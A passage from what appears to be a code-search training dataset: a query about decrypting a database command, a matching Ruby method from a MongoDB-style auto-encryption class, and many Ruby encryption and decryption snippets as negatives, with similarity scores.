"def revert_rpc(app_id, device_id, rpc_content, time_out, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'RevertRpc'\n\t\targs[:query]['AppId'] = app_id\n\t\targs[:query]['DeviceId'] = device_id\n\t\targs[:query]['RpcContent'] = rpc_content\n\t\targs[:query]['TimeOut'] = time_out\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tself.run(args)\n\tend",
"def exec; end",
"def exec; end",
"def call_webservice(method_name, arguments, schema_url, service_path)\n\n # Perform the call to the webservice and returns the result\n Operations::WebserviceCall.new(@rforce_binding, method_name, arguments, schema_url, service_path).run()\n\n end",
"def perform_execute_request(data = {})\n execute_recipe(version, data)\n end",
"def run_command(command_params)\n params = {:instId => @worldpay_id, :authPW => @password}\n params.merge!(command_params)\n params.merge!({ :testMode => \"100\" }) if @test_mode\n \n url = URI.parse(iadmin_url)\n \n req = Net::HTTP::Post.new(url.path)\n req.set_form_data(params)\n \n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n \n response = http.request(req)\n \n case response\n when Net::HTTPSuccess, Net::HTTPRedirection\n @response = response.body.strip\n return check_response(@response)\n else\n @response = \"Connection Error\"\n return false\n end\n \n end",
"def invoke(fun, args, normal, exception, name = \"\")\n invoke2(nil, fun, args, normal, exception, name)\n end",
"def remote_call name, args\n m = public_method(name)\n if m && m.owner == self.class\n m.call(*args)\n else\n raise NoMethodError, \"method #{name} is not found\"\n end\n rescue NameError\n raise NoMethodError, \"method #{name} is not found\"\n end"
] | [
"0.7162019",
"0.66460866",
"0.6613735",
"0.6495458",
"0.64529985",
"0.6408588",
"0.63854015",
"0.63259727",
"0.6289725",
"0.6281325",
"0.6270509",
"0.6190723",
"0.60320437",
"0.5987179",
"0.5978392",
"0.59756184",
"0.59663826",
"0.59549564",
"0.59387946",
"0.5916815",
"0.5907501",
"0.59061474",
"0.5892764",
"0.58812886",
"0.58765507",
"0.5865931",
"0.5852759",
"0.5845469",
"0.5820947",
"0.58112717",
"0.580407",
"0.5779115",
"0.57781714",
"0.5776194",
"0.5744081",
"0.57339704",
"0.5730214",
"0.566368",
"0.56302524",
"0.562576",
"0.5572163",
"0.5572163",
"0.55667603",
"0.55634886",
"0.5561635",
"0.55408514",
"0.5535008",
"0.55195475",
"0.5517725",
"0.5516604",
"0.55108297",
"0.5506829",
"0.55055153",
"0.5499464",
"0.54976076",
"0.54917026",
"0.5480808",
"0.54338884",
"0.54332906",
"0.5427554",
"0.5427312",
"0.5423925",
"0.5406992",
"0.53905857",
"0.5389406",
"0.53864294",
"0.5386121",
"0.53817385",
"0.5355147",
"0.5344995",
"0.5339385",
"0.5334888",
"0.5324986",
"0.53074396",
"0.5300574",
"0.5300574",
"0.5300574",
"0.5300574",
"0.5300574",
"0.5300574",
"0.5300574",
"0.5300574",
"0.5287884",
"0.5287884",
"0.5284367",
"0.52769536",
"0.5270334",
"0.52661115",
"0.5246612",
"0.5236027",
"0.5234905",
"0.5233897",
"0.52169555",
"0.5211762",
"0.5211762",
"0.5211356",
"0.5210366",
"0.52073973",
"0.5200753",
"0.51993424"
] | 0.646311 | 4 |
Whether this encrypter should perform encryption (returns false if the :bypass_auto_encryption option is set to true). | def encrypt?
!@options[:bypass_auto_encryption]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def encrypted?\r\n if @encrypted\r\n return true\r\n else\r\n return false\r\n end\r\n end",
"def should_crypt?\n @should_crypt ||= __should_crypt?\n end",
"def should_crypt?\n @should_crypt ||= __should_crypt?\n end",
"def should_encrypt_password\n @encrypt_password_flag || false\n end",
"def encrypted?\n @encrypted ||= false\n end",
"def is_encrypted\n return @is_encrypted\n end",
"def mustBeEncrypted?\n return false if @conf[\"gpg::encrypt\"].nil? or @conf[\"gpg::encrypt\"] != TRUE\n return true\n end",
"def encryption_required?\n super\n end",
"def can_decrypt?\n false\n end",
"def external?\n send(sorcery_config.crypted_password_attribute_name).nil?\n end",
"def encrypted?\n\t\tFile.exists?(File.join(self.location, \"encrypted\"))\n\tend",
"def flag_unencrypted?()\n return(true) if(@flags & TAC_PLUS_UNENCRYPTED_FLAG == TAC_PLUS_UNENCRYPTED_FLAG)\n return(false)\n end",
"def active?\n self.encrypted_password.present?\n end",
"def disable_app_encryption_if_device_encryption_is_enabled\n return @disable_app_encryption_if_device_encryption_is_enabled\n end",
"def should_encrypt_password=(flag)\n @encrypt_password_flag = flag\n end",
"def suppresses_encryption?\n value =~ /^_/\n end",
"def storage_require_encryption\n return @storage_require_encryption\n end",
"def storage_require_encryption\n return @storage_require_encryption\n end",
"def unencrypted? \n return (@unencrypted.nil?)? self.password.nil?: @unencrypted\n end",
"def enabled?\n !!store[:enabled]\n end",
"def should_crypt?\n crypt = @x509_settings[:crypt] && @x509_settings[:crypt_cert]\n logger.info \"X509 crypting required, but no certificate file configured\" unless crypt\n crypt\n end",
"def i_cloud_require_encrypted_backup\n return @i_cloud_require_encrypted_backup\n end",
"def sensitive?\n options.fetch(:sensitive, false)\n end",
"def enabled?\n !!configuration.enabled\n end",
"def is_encrypted=(value)\n @is_encrypted = value\n end",
"def kiosk_mode_allow_assistive_speak\n return @kiosk_mode_allow_assistive_speak\n end",
"def using_password?\n\t\t\t\t!send(crypted_password_field).blank?\n\t\t\tend",
"def enabled\n !false?(configuration[:enabled])\n end",
"def enabled?\n !!@enabled\n end",
"def enabled?\n !!@enabled\n end",
"def encrypted?(ctx)\n ctx[:server][:encrypted] && !ctx[:server][:encrypted].to_s.empty?\n end",
"def should_auto_enable?\n # We automatically enable LE if all the following conditions are met\n # 1. Rails component is listening to https\n # 2. Nginx is enabled and is listening over https\n # 3. At least one of the following is true\n # a. LE was automatically enabled in a previous run\n # b. No certificate/key files are present\n # c. If certificate is present, and they are from LE, and is ready for renewal\n # Note: The last condition here is a failsafe to ensure an expired\n # certificate always gets renewed.\n # Check https://gitlab.com/gitlab-org/omnibus-gitlab/issues/4244 for\n # details. The downside is that when expired certificate issued by LE\n # is encountered, omnibus-gitlab will attempt to renew it, irrespective\n # of whether it was automatically generated by a previous reconfigure\n # run or brought by the user.\n rails_listen_https? && nginx_enabled? && nginx_listen_https? && (le_auto_enabled? || !cert_files_present? || needs_renewal?)\n end",
"def enabled?\n !!@enabled\n end",
"def enabled?\n @enabled || false\n end",
"def secure?(options)\n [email protected]? ||\n @legacy_hmac ||\n (options[:coder] && options[:let_coder_handle_secure_encoding])\n end",
"def enabled?\n !@test_mode || @test_mode == :enabled\n end",
"def enabled?\n @enabled != false\n end",
"def enabled?\n @enabled\n end",
"def enabled?\n @enabled\n end",
"def enabled?\n @enabled\n end",
"def enabled?\n @enabled\n end",
"def save_auto_enabled\n return unless Gitlab['letsencrypt']['auto_enabled']\n\n secrets = SecretsHelper.load_gitlab_secrets\n\n # Avoid writing if the attribute is there and true\n return if secrets.dig('letsencrypt', 'auto_enabled')\n\n SecretsHelper.write_to_gitlab_secrets\n end",
"def storage_require_device_encryption\n return @storage_require_device_encryption\n end",
"def encrypt?\n @path.end_with? '.gpg'\n end",
"def manual_enabled?\n return true\n end",
"def enabled?\n true\n end",
"def enabled?\n true\n end",
"def enabled?\n false\n end",
"def enabled?\n false\n end",
"def enabled?\n return @provider.enabled? if [email protected]?\n true\n end",
"def enabled?\n $game_switches[Yuki::Sw::Nuzlocke_ENA]\n end",
"def encrypted_attribute?(attribute)\n encrypted_keys.include?(attribute)\n end",
"def enabled?\n\n return @enabled\n\n end",
"def enable?\n return false if eval_shop_condition(@disable_condition)\n return true\n end",
"def disabled?\n @disabled ||= (user_configuration_from_key('disabled') || false)\n end",
"def enabled?\n return enabled\n end",
"def disabled?\n @disabled ||= (user_configuration_from_key('disabled') || false)\n end",
"def secure?\n false\n end",
"def is_escalation_enabled\n return @is_escalation_enabled\n end",
"def authen_method_enable?()\n return true if (@authen_method == TAC_PLUS_AUTHEN_METH_ENABLE)\n return false\n end",
"def secure_boot_enabled\n return @secure_boot_enabled\n end",
"def enabled?\n enabled.nil? || enabled\n end",
"def enabled?\n \n return @enabled\n \n end",
"def enabled?\n \n return @enabled\n \n end",
"def enabled?\n !disabled?\n end",
"def enabled?\n !disabled?\n end",
"def enabled?\n true\n end",
"def password_rotation_enabled\n return @password_rotation_enabled\n end",
"def auto_connecting?\n !!get_inherited_attribute(\"@auto_connecting\")\n end",
"def secure?\n !!@opts[:secure]\n end",
"def self_generate_keys?\n Chef::Config.local_key_generation\n end",
"def secure?\n false\n end",
"def enabled\n @mutex.synchronize { !!@enabled }\n end",
"def enabled\n @mutex.synchronize { !!@enabled }\n end",
"def enabled\n @mutex.synchronize { !!@enabled }\n end",
"def ssl?\n @transport_mode == '~'\n end",
"def autorun?\n instance.instance_variable_get(:@settings)[:autorun] || false\n end",
"def bit_locker_enable_storage_card_encryption_on_mobile\n return @bit_locker_enable_storage_card_encryption_on_mobile\n end",
"def enabled?\n inclusively { @enabled }\n end",
"def secure?\n\t\treturn @secure ? true : false\n\tend",
"def enabled?\n @metadata.fetch(:enabled, true)\n end",
"def passphrase_required?\n true\n end",
"def enabled?\n enabled = @options[:enabled] == true\n unless enabled\n note = \"tessen collects anonymized data to help inform the sensu team about installations\"\n note << \" - you can opt-in via configuration: {\\\"tessen\\\": {\\\"enabled\\\": true}}\"\n @logger.info(\"the tessen call-home mechanism is not enabled\", :note => note)\n end\n enabled\n end",
"def enabled?\n @cache_enabled\n end",
"def enabled?\n @cache_enabled\n end",
"def encrypted?(value)\n value.is_a?(String) && value.start_with?(ENCRYPTED_PREFIX)\n end",
"def with_encrypted_storage?\n @dbi.storage_encrypted\n end",
"def with_encrypted_storage?\n @dbi.storage_encrypted\n end",
"def secure?\n @options.key?('secure')\n end",
"def turned_off?\n ENV['KNIFESWITCH']&.downcase == 'off'\n end",
"def require_password?\n if self.new_record?\n APP_CONFIG[:auto_activate] or self.password\n else\n true and !self.password.nil?\n end\n end",
"def data_bag_encrypted?\n if(node[node_key][:config_bag].respond_to?(:has_key?))\n !!node[node_key][:config_bag][:encrypted]\n else\n false\n end\n end",
"def support_ewkt?\n @support_ewkt\n end",
"def ssl_enabled?\n\t\t\tssl && ssl_on\n\t\tend",
"def verification?\n configuration.secret.nil? == false\n end",
"def secure?\n @secure\n end",
"def enabled?\n return policy_setting.enabled\n end",
"def enabled?\n @config[:caching][:enabled]\n end",
"def password?\n !crypt_pass.nil? && !salt.nil?\n end",
"def disabled?\n \n return ! @enabled\n\n end"
] | [
"0.72618496",
"0.7055772",
"0.7055772",
"0.69722813",
"0.6908347",
"0.67644066",
"0.6712017",
"0.6535698",
"0.6529186",
"0.6245663",
"0.6157023",
"0.61286736",
"0.61054534",
"0.6103612",
"0.6102979",
"0.60862094",
"0.6039057",
"0.6039057",
"0.60233426",
"0.6019946",
"0.60185355",
"0.6014849",
"0.60083216",
"0.59905374",
"0.5960832",
"0.5934356",
"0.59019876",
"0.58840865",
"0.58734286",
"0.58734286",
"0.5850131",
"0.5839635",
"0.5832521",
"0.5829823",
"0.5819247",
"0.58188266",
"0.5815728",
"0.5789053",
"0.5789053",
"0.5789053",
"0.5789053",
"0.5779391",
"0.57444334",
"0.57337683",
"0.57278436",
"0.57257974",
"0.57257974",
"0.57235676",
"0.5711607",
"0.5705042",
"0.5654094",
"0.5652331",
"0.5647918",
"0.5646171",
"0.5639415",
"0.5632377",
"0.56307805",
"0.5624707",
"0.5618399",
"0.55999726",
"0.55994964",
"0.55830795",
"0.5577759",
"0.5577759",
"0.55639094",
"0.55639094",
"0.55451334",
"0.5521126",
"0.5520432",
"0.55169433",
"0.5509737",
"0.55039746",
"0.54916537",
"0.54916537",
"0.54916537",
"0.54866356",
"0.54715025",
"0.54644036",
"0.5462103",
"0.5459602",
"0.5458619",
"0.5457894",
"0.5457255",
"0.54543483",
"0.54543483",
"0.54540175",
"0.5445101",
"0.5445101",
"0.5441842",
"0.54354155",
"0.54348147",
"0.54337704",
"0.5425288",
"0.5409298",
"0.54079837",
"0.5388425",
"0.5388368",
"0.53873104",
"0.5385239",
"0.5383573"
] | 0.88391924 | 0 |
Encrypt a database command. | def encrypt(database_name, command)
AutoEncryptionContext.new(
@crypt_handle,
@encryption_io,
database_name,
command
).run_state_machine
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def encrypt(*args, &block)\n ::ActiveRecord::Base.connection.unescape_bytea(escape_and_execute_sql([\"SELECT encode(pgp_sym_encrypt(?::text, ?::text), 'escape') pgp_sym_encrypt\", value(args), key(args)])['pgp_sym_encrypt'])\n end",
"def encrypt(*args, &block)\n crypt :encrypt, *args, &block\n end",
"def encrypt(data)\n pipe_to_stdin command('--encrypt'), data\n end",
"def encrypt_password(key = @key)\n # TODO: add different sql statements for different DBs.\n sql = \"UPDATE login_details\n SET encrypted_password = \n AES_ENCRYPT(#{quote_value(self.decrypted_password)}, #{quote_value(key)})\n WHERE id = #{self.id}\"\n # Run this update manually.\n self.connection.execute sql\n end",
"def encrypt; end",
"def encrypt(value)\n Base64.encode64 escape_and_execute_sql(\n [\"SELECT AES_ENCRYPT(?, ?)\", value, key]).first\n end",
"def encrypt()\n cipher_type = \"aes-128-ecb\"\n data = password;\n key = master_password;\n \n self.encrypted_password = aes_encrypt(data,key,nil,cipher_type).to_s\n end",
"def mssql_tds_encrypt(pass)\n\t\t# Convert to unicode, swap 4 bits both ways, xor with 0xa5\n\t\tRex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack(\"C*\")\n\tend",
"def encrypt_username(key = @key)\n # TODO: add different sql statements for different DBs.\n sql = \"UPDATE login_details\n SET encrypted_username =\n AES_ENCRYPT(#{quote_value(self.decrypted_username)}, #{quote_value(key)})\n WHERE id = #{self.id}\"\n # Run this update manually.\n self.connection.execute sql\n end",
"def encrypt\n self\n end",
"def encrypt(pass)\n \t\tDigest::SHA2.hexdigest(\"#{self.salt}--#{pass}\")\n \tend",
"def encrypt(pass)\n \t\tDigest::SHA2.hexdigest(\"#{self.salt}--#{pass}\")\n \tend",
"def encrypt(pass)\n \t\tDigest::SHA2.hexdigest(\"#{self.salt}--#{pass}\")\n \tend",
"def encrypt(pass)\n \t\tDigest::SHA2.hexdigest(\"#{self.salt}--#{pass}\")\n \tend",
"def encrypt(pass)\n \t\tDigest::SHA2.hexdigest(\"#{self.salt}--#{pass}\")\n \tend",
"def encrypt!(password, inki_cipher)\n\t\tif attributes = self.class.is_encrypted?\n\t\t\tattributes.each do |attribute|\n\t\t\t\tself.send(\"#{attribute}=\", encrypt_attribute(attribute, password, inki_cipher))\n\t\t\tend\n\t\t\tself.save\n\t\tend\n\tend",
"def encrypt_password\n self.salt = make_salt if new_record?\n self.encrypted_password = encrypt(password)\n end",
"def encrypt\n self\n end",
"def encrypt_password\n self.salt = make_salt if new_record?\n\t self.encrypted_password = encrypt(password)\n end",
"def encrypt(message)\n xcrypt(:encrypt, message)\n end",
"def encrypt_password\n self.salt = make_salt if new_record?\n self.encrypted_password = encrypt(password)\n end",
"def encrypt(plaintext)\n box.encrypt(plaintext)\n end",
"def encrypt string\n string\n end",
"def encrypt_password\n self.salt = make_salt if new_record?\n self.encrypted_password = encrypt(self.password)\n end",
"def encrypt(x)\n @aes_key.encrypt(x)\n end",
"def encrypt(password)\n self.class.encrypt(password, Time.now.to_s)\n end",
"def encrypt(plaintext, options = {})\n # TODO\n end",
"def encrypt(password)\n self.class.encrypt(password) #, salt)\n end",
"def encrypt(password)\n Digest::SHA1.hexdigest(\"--#{self.salt}--#{password}--\")\n end",
"def encrypt(password)\n cipher = build_cipher(:encrypt, password)\n [cipher.update(self) + cipher.final].pack('m').chomp\n end",
"def encrypt(string)\n secure_hash(\"#{salt}--#{string}\") \n\tend",
"def encrypt(plaintext)\n @cipher.encrypt(@secret_key, plaintext)\n end",
"def encrypt(data)\n _encrypt(data, \"#{NOT_SEARCHABLE.chr}\\0#{@key_id.chr}\\0\")\n end",
"def encode_pass_word val\n Sequel.lit \"\\ncrypt(\\n?\\n, gen_salt('bf', 13))\", val\n end",
"def encrypt(code)\n ::Digest::SHA1.hexdigest \"#{salt}--#{code}\"\n end",
"def encrypt(value)\n if !@private_key.present? && encrypted?(value)\n value\n else\n escape_and_execute_sql([\"SELECT pgp_pub_encrypt(?, dearmor(?))\", value.to_s, @public_key])['pgp_pub_encrypt']\n end\n end",
"def _encrypt\n cryptor_files(@encrypting)\n end",
"def column_encryption_cryptor\n @column_encryption_cryptor ||= Cryptor.new(@column_encryption_keys)\n end",
"def encrypt_password\r\n \r\n # If the user is new, create a salt\r\n self.make_salt if new_record?\r\n \r\n # Hash the salt and password to create the encrypted pass\r\n self.encrypted_password = sha_hash(\"#{self.password}--#{self.salt}\")\r\n \r\n end",
"def execute\n string = prompt('String: ')\n\n echo('Encrypting...')\n salt = SecureRandom.base64(6)\n password = Digest::SHA2.hexdigest(salt + string)\n\n echo('')\n echo(\"Password: #{password}\")\n echo(\"Salt : #{salt}\")\n end",
"def encrypt_message plaintext\n key_pair.encrypt plaintext\n end",
"def encrypt(password, salt)\n Digest::SHA1.hexdigest(\"--#{salt}--#{password}--\")\n end",
"def encrypt_password\n if self.new_record? || !self.password.blank?\n self.encrypted_password = Digest::SHA256.hexdigest(\"#{self.encryption_salt}::#{@password}\")\n end\n end",
"def encrypt(password, salt=nil)\n salt ||= self.salt\n Digest::SHA1.hexdigest(\"--#{salt}--#{password}--\")\n end",
"def encrypt(data)\n cipher = OpenSSL::Cipher.new 'AES-256-CBC'\n cipher.encrypt\n cipher.key, cipher.iv = @password, @iv\n data.nil? ? '' : (cipher.update(data) + cipher.final).unpack('H*')[0]\n end",
"def encrypt(string)\n secure_hash(\"#{salt}--#{string}\")\n end",
"def encrypt(password)\n self.class.encrypt(password, self.salt)\n end",
"def encrypted(password)\n\t\tDigest::SHA2.hexdigest(\"#{self.salt} -- #{pass}\")\n\tend",
"def encrypt(*attributes) \n \tinclude ActiveCrypto::Encrypted\n \tbefore_save :encrypt_attributes\n \tafter_save :decrypt_attributes\n options=attributes.last.is_a?(Hash) ? attributes.pop : {}\n keyholder\n if options and options[:key]\n \t\t\t\tmodule_eval <<-\"end;\"\t\t\t\t \n \t\t\t\t\tdef session_key\n \t\t\t\t\t\t(send :#{options[:key]} ).send :session_key\n \t\t\t\t\tend\t \n \t\t\t\t\t@@external_key=true\n \t\t\t\tend;\n end\n\n base64_encode = (options and options[:base64])\n module_eval <<-\"end;\"\n def self.ezcrypto_base64?\n #{base64_encode.to_s}\n end\n end;\n \n self.encrypted_attributes=attributes\n end",
"def encrypt_password\n\t\t\tself.salt = make_salt if new_record? #new_record? retourne \"true\" si l'objet n'est pas dans la base de données\n\t\t\tself.encrypted_password = encrypt(password)\n\t\tend",
"def encrypt(plaintext, passwd, options = {})\n cipher = new_cipher(:encrypt, passwd, options)\n cipher.iv = iv = cipher.random_iv\n ciphertext = cipher.update(plaintext)\n ciphertext << cipher.final\n Base64.encode64(combine_iv_and_ciphertext(iv, ciphertext))\n end",
"def encrypt(string)\n secure_hash(\"#{salt}--#{string}\")\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end",
"def encrypt(password)\n self.class.encrypt(password, salt)\n end"
] | [
"0.6934351",
"0.6687",
"0.6662177",
"0.6609992",
"0.6479633",
"0.6407013",
"0.6381297",
"0.6350759",
"0.6233794",
"0.61624044",
"0.60910034",
"0.60910034",
"0.60910034",
"0.60910034",
"0.60910034",
"0.6052419",
"0.6037509",
"0.6008888",
"0.5992438",
"0.59373957",
"0.590188",
"0.58987933",
"0.58776385",
"0.5875459",
"0.5861269",
"0.5844903",
"0.5826387",
"0.5819575",
"0.58191633",
"0.5803838",
"0.58020836",
"0.57972294",
"0.57935506",
"0.5791982",
"0.57744527",
"0.57499266",
"0.5749004",
"0.5747261",
"0.5735876",
"0.5731514",
"0.57186544",
"0.570001",
"0.5698944",
"0.5661804",
"0.565752",
"0.5657461",
"0.56530935",
"0.5651505",
"0.5648369",
"0.5646959",
"0.5639712",
"0.56317425",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162",
"0.5628162"
] | 0.8190734 | 1 |
Decrypt a database command. | def decrypt(command)
AutoDecryptionContext.new(
@crypt_handle,
@encryption_io,
command
).run_state_machine
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def decrypt(*args, &block)\n escape_and_execute_sql([\"SELECT pgp_sym_decrypt(?::bytea, ?::text)\", ::ActiveRecord::Base.connection.escape_bytea(value(args)), key(args)])['pgp_sym_decrypt']\n end",
"def decrypt(*args, &block)\n crypt :decrypt, *args, &block\n end",
"def decrypt(data)\n pipe_to_stdin command('--decrypt'), data\n end",
"def decrypt(value)\n escape_and_execute_sql(\n [\"SELECT AES_DECRYPT(?, ?)\", Base64.decode64(value), key]).first\n end",
"def decrypt; end",
"def decrypt\n self.class.decrypt(@encrypted_name, @id)\n end",
"def decrypt\n self\n end",
"def decrypt\n self\n end",
"def decryptor(io, password, &b)\n Decrypt.open(io, &b)\n end",
"def encrypt(database_name, command)\n AutoEncryptionContext.new(\n @crypt_handle,\n @encryption_io,\n database_name,\n command\n ).run_state_machine\n end",
"def encrypt(database_name, command)\n AutoEncryptionContext.new(\n @crypt_handle,\n @encryption_io,\n database_name,\n command\n ).run_state_machine\n end",
"def decrypt(value)\n if @private_key.present? && encrypted?(value)\n escape_and_execute_sql([\"SELECT pgp_pub_decrypt(?, dearmor(?), ?)\",\n value, @private_key, @key])['pgp_pub_decrypt']\n else\n value\n end\n end",
"def decryptor(io, password, &b)\n Decrypt.open(io, password, mtime, &b)\n end",
"def decrypt phrase, key\n decrypt = encrypt phrase, key\n return decrypt\nend",
"def decrypt(ciphertext, options = {})\n # TODO\n end",
"def decrypt_password(key = @key)\n sql = [\"SELECT AES_DECRYPT(encrypted_password, ?) AS decrypted_password FROM login_details WHERE id = ?\",\n key, self.id]\n result = LoginDetail.find_by_sql(sql)\n self.decrypted_password = result[0][:decrypted_password]\n end",
"def decrypt(alg, password, cipher)\n \n begin\n case alg\n when \"3DES\" then key = EzCrypto::Key.with_password(password, $system_salt, :algorithm => 'des3')\n when \"AES\" then key = EzCrypto::Key.with_password(password, $system_salt, :algorithm => 'aes256')\n when \"Blowfish\" then key = EzCrypto::Key.with_password(password, $system_salt, :algorithm => 'blowfish')\n when \"Plaintext\" then return cipher\n else key = EzCrypto::Key.with_password(password, $system_salt, :algorithm => 'aes256')\n end\n decrypted_text = key.decrypt64(cipher)\n rescue => e\n p e.message\n end\n return decrypted_text\n \n end",
"def mssql_tds_decrypt( pass )\n return (pass.unpack(\"C*\").map {|c| ((( c ^ 0xa5 ) & 0x0F) << 4) | ((( c ^ 0xa5 ) & 0xF0 ) >> 4) }.pack(\"C*\")).unpack('v*').pack('C*')\n end",
"def decrypt_message ciphertext\n key_pair.decrypt ciphertext\n end",
"def decrypt(data, key=nil)\n Crypto.new(key.nil? ? config.key : key).decrypt(data)\n end",
"def decrypt\r\n\t \r\n\t \tif @IV.empty?\r\n\t\t\t_iv = OpenSSL::Cipher::Cipher.new(\"aes-#{ @cipher }-#{ @mode }\").random_iv\r\n\t\telse\r\n\t\t\t_iv= @IV\r\n\t\tend\r\n\t\t\r\n\t\tEncryptor.default_options.merge!(:algorithm => \"aes-#{ @cipher }-#{ @mode }\", :key => @key, :iv => _iv)\t\t\r\n\t\t_rt = Encryptor.decrypt(Base64.decode64(@data))\r\n\t\t\t\r\n\t\treturn _rt\r\n\t\t\t\r\n\t end",
"def decrypt(message)\n xcrypt(:decrypt, message)\n rescue OpenSSL::Cipher::CipherError\n raise CipherError, 'invalid password'\n end",
"def decrypt()\n \t@private_key = AES.decrypt(self.encrypted_private_key, ENV[\"DECRYPTION_KEY\"])\n end",
"def decrypt(passphrase)\n self.user.decrypt(self.encrypted_message, passphrase)\n end",
"def decrypt(data)\n crypto_key.decrypt64(data)\n end",
"def decrypt(x)\n @aes_key.decrypt(x)\n end",
"def decrypt(password)\n crypt = Envcrypt::Envcrypter.new\n crypt.decrypt(password)\n end",
"def decrypt(data)\n begin\n data = Base64.urlsafe_decode64(data)\n rescue ArgumentError\n raise Error, \"Unable to decode encrypted column: invalid base64\"\n end\n\n unless data.getbyte(1) == 0 && data.getbyte(3) == 0\n raise Error, \"Unable to decode encrypted column: invalid format\"\n end\n\n flags = data.getbyte(0)\n\n key, auth_data = @key_map[data.getbyte(2)]\n unless key\n raise Error, \"Unable to decode encrypted column: invalid key id\"\n end\n\n case flags\n when NOT_SEARCHABLE\n if data.bytesize < 65\n raise Error, \"Decoded encrypted column smaller than minimum size\"\n end\n\n data.slice!(0, 4)\n when SEARCHABLE, LOWERCASE_SEARCHABLE\n if data.bytesize < 97\n raise Error, \"Decoded encrypted column smaller than minimum size\"\n end\n\n data.slice!(0, 36)\n else\n raise Error, \"Unable to decode encrypted column: invalid flags\"\n end\n\n key_part = data.slice!(0, 32)\n cipher_iv = data.slice!(0, 12)\n auth_tag = data.slice!(0, 16)\n\n cipher = OpenSSL::Cipher.new(\"aes-256-gcm\")\n cipher.decrypt\n cipher.iv = cipher_iv\n cipher.key = OpenSSL::HMAC.digest(OpenSSL::Digest::SHA256.new, key, key_part)\n cipher.auth_data = auth_data\n cipher.auth_tag = auth_tag\n begin\n decrypted_data = cipher.update(data) << cipher.final\n rescue OpenSSL::Cipher::CipherError => e\n raise Error, \"Unable to decrypt encrypted column: #{e.class} (probably due to encryption key or auth data mismatch or corrupt data)\"\n end\n\n # Remove padding\n decrypted_data.slice!(0, decrypted_data.getbyte(0) + 1)\n\n decrypted_data\n end",
"def decrypt(value)\n result = Crypt::ExplicitDecryptionContext.new(\n @crypt_handle,\n @encryption_io,\n { 'v': value },\n ).run_state_machine['v']\n end",
